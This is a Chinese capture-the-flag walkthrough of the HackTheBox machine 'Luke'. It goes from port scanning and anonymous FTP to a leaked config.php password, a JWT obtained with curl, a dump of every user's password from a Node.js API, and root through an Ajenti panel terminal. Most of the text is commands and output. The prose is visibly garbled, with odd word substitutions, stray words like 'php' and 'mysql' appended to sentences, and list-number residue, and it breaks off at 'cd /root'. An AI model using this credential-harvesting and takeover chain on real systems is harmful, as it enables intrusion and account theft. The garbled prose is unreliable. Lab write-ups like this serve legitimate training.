教你如何把HackTheBox里面的Luke“干掉”
与往常同样，第一步是对主机进行Nmap识别正在运行的服务：php
`Nmap scan report for 10.10.10.137 Host is up (0.042s latency). Not shown: 65464 closed ports, 66 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3+ (ext.1) | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 0 0 512 Apr 14 12:35 webapp | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.13.75 | Logged in as ftp | TYPE: ASCII | No session upload bandwidth limit | No session download bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3+ (ext.1) - secure, fast, stable |_End of status 22/tcp open ssh? 80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3 |_http-title: Luke 3000/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (application/json; charset=utf-8). 8000/tcp open http Ajenti http control panel |_http-title: Ajenti No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=8/13%OT=21%CT=1%CU=33830%PV=Y%DS=2%DC=T%G=Y%TM=5D52853 OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10D%TI=Z%CI=Z%II=RI%TS=21)O OS:PS(O1=M54DNW6ST11%O2=M54DNW6ST11%O3=M54DNW6NNT11%O4=M54DNW6ST11%O5=M54DN OS:W6ST11%O6=M54DST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)E OS:CN(R=Y%DF=Y%T=40%W=FFFF%O=M54DNW6SLL%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F OS:=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=FFFF%S=O%A=S+%F=AS%O=M54DNW6ST11%R OS:D=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0% OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7( OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0 OS:%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=S%T=40%CD=S) Network Distance: 2 hops TRACEROUTE (using port 587/tcp) HOP RTT ADDRESS 1 40.68 ms 10.10.12.1 2 40.94 ms 10.10.10.137 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 4814.02 seconds` * 1 * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11 * 12 * 13 * 14 * 15 * 16 * 17 * 18 * 19 * 20 * 21 * 22 * 23 * 24 * 25 * 26 * 27 * 28 * 29 * 30 * 31 * 32 * 33 * 34 * 35 * 36 * 37 * 38 * 39 * 40 * 41 * 42 * 43 * 44 * 45 * 46 * 47 * 48 * 49 * 50 * 51 * 52 * 53
从该输出中咱们能够看到有不少开放的端口。我看到的第一个是FTP，由于它容许匿名登陆。css
`root@kali:~/Documents/luke# ncftp 10.10.10.137 NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/). Connecting to 10.10.10.137... vsFTPd 3.0.3+ (ext.1) ready... Logging in... Login successful. Logged in to 10.10.10.137. ncftp / > ls webapp/ ncftp / > cd webapp/ Directory successfully changed. ncftp /webapp > ls for_Chihiro.txt ncftp /webapp > cat for_Chihiro.txt Dear Chihiro !! As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of the actual website I've created . Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! Derry ncftp /webapp >` * 1 * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11 * 12 * 13 * 14 * 15 * 16 * 17 * 18 * 19 * 20 * 21 * 22 * 23
如您所见，经过FTP托管了一个文件。这是给千寻人的txt文件。这彷佛是FTP上全部可用的东西。接下来，我决定移至端口80。浏览至10.10.10.137以查看托管的内容。
向我介绍了基本的Bootstrap 4页。源代码中没有隐藏任何内容，页面外也没有连接。而后，我运行dirb来查找服务器上托管的其余目录和文件。html
`root@kali:~/Documents/luke# dirb http://10.10.10.137
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Aug 13 08:45:35 2019
URL_BASE: http://10.10.10.137/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.137/ ----
==> DIRECTORY: http://10.10.10.137/css/
+ http://10.10.10.137/index.html (CODE:200|SIZE:3138)
==> DIRECTORY: http://10.10.10.137/js/
+ http://10.10.10.137/LICENSE (CODE:200|SIZE:1093)
+ http://10.10.10.137/management (CODE:401|SIZE:381)
==> DIRECTORY: http://10.10.10.137/member/
==> DIRECTORY: http://10.10.10.137/vendor/
---- Entering directory: http://10.10.10.137/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.137/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.137/member/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.137/vendor/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Tue Aug 13 09:02:59 2019
DOWNLOADED: 4612 - FOUND: 3`
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发现了目录的集合。我还使用dirbuster从新扫描并找到了/login.php和config.php。因为某种缘由而被dirb抢走了。
当我浏览到config.php时，将返回如下内容：mysql
`$dbHost = 'localhost'; $dbUsername = 'root'; $dbPassword = 'Zk6heYCyv6ZE9Xcg'; $db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %sn". $conn -> error);`
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如今，咱们有了一个用户名和密码的根：Zk6heYCyv6ZE9Xcg。/管理是发现的其余重要外观之一。当您浏览至此时，将显示HTTP基自己份验证字段。目前在端口80上彷佛没有其余任何东西。所以，我随后移至端口3000。linux
当您尝试链接到它时，您会收到JSON响应：大约3000彷佛是托管NodeJS应用的主机。web
`{"success":false,"message":"Auth token is not supplied"}`
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我在端口3000上运行dirb尝试查找其余内容。sql
`DirBuster 1.0-RC1 - Report http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project Report produced on Tue Aug 13 11:36:44 BST 2019 -------------------------------- http://10.10.10.137:3000 -------------------------------- Directories found during testing: Dirs found with a 200 response: /login/ /users/ / /Login/ /users/admin/ /Users/ /Users/admin/ /users/Admin/ /Users/Admin/ /LogIn/ /LOGIN/ -------------------------------- --------------------------------` * 1 * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11 * 12 * 13 * 14 * 15 * 16 * 17 * 18 * 19 * 20 * 21 * 22 * 23 * 24 * 25 * 26
全部这些目录返回的JSON响应与原始目录很是类似，代表您须要进行身份验证。经过一番调查，我发现该应用程序正在使用JSON Web令牌。经过向身份验证服务器发送包含正确的用户名和密码的请求。服务器将使用令牌进行响应，而后可使用令牌对应用程序进行身份验证。通过大量的试验和错误后，我可使用如下串行生成令牌请求：json
`root@kali:/# curl -s -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' --data '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg","rememberMe":false}' http://10.10.10.137:3000/login
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM"}root@kali:/#`
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如您所见，我使用CURL将POST请求发送到http://10.10.10.137:3000/login。POST请求中包含在端口80上找到的用户名和密码。服务器以令牌密码响应。而后，我使用curl将令牌转发给应用程序。浏览器
`root@kali:/# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM" http://10.10.10.137:3000
{"message":"Welcome admin ! "}
root@kali:/#`
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发送后，服务器将显示消息“欢迎管理员！”。而后，我将同一令牌发送到与dirb找到的端口3000上的其余目录。bash
`root@kali:/# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM" http://10.10.10.137:3000/users
[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}]
root@kali:/#
root@kali:/# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM" http://10.10.10.137:3000/users/admin
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}`
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您能够看到/ users目录响应了一个用户名。管理员，德里，尤里和多莉。/users / admin目录以Admin的用户名和密码做为响应。管理员：WX5b7）> / rp $ U） FW。而后，我将令牌发送给/ users中的3个用户。
`root@kali:~/Documents/luke# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM" http://10.10.10.137:3000/users/derry
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}
root@kali:~/Documents/luke# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM" http://10.10.10.137:3000/users/yuri
{"name":"Yuri","password":"bet@tester87"}
root@kali:~/Documents/luke# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM" http://10.10.10.137:3000/users/dory
{"name":"Dory","password":"5y:!xa=ybfe)/QD"}`
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因此毕竟，我有5套凭证
- Dory：5y：！xa = ybfe）/ QD
- Yuri：bet @ tester87
- Derry：rZ86wwLvx7jUxtch
- Admin：WX5b7）> / rp $ U）FW
- root：Zk6heYCyv6ZE9Xcg
我回到端口80上的/管理，依次尝试了每一个时间表。Derry用户可以登陆。从这里，咱们有一个目录，列出了3个不一样的文件。Config.json，config.php和login.php 。我打开config.json并显示如下内容：
您能够今后JSON输出中看到，咱们如今有了另外一个root用户密码。而后，我继续探索8000端口。
这是用于管理服务器的软件。我尝试使用前面的步骤中捕获的6组替换登陆。来自config.json的root登陆名容许我登陆到该页面。
而后在计算机上生成Web浏览器终端会话。有了该终端的访问权限，我即可以将user.txt和root.txt都保存起来以完成计算机。
# cd /root
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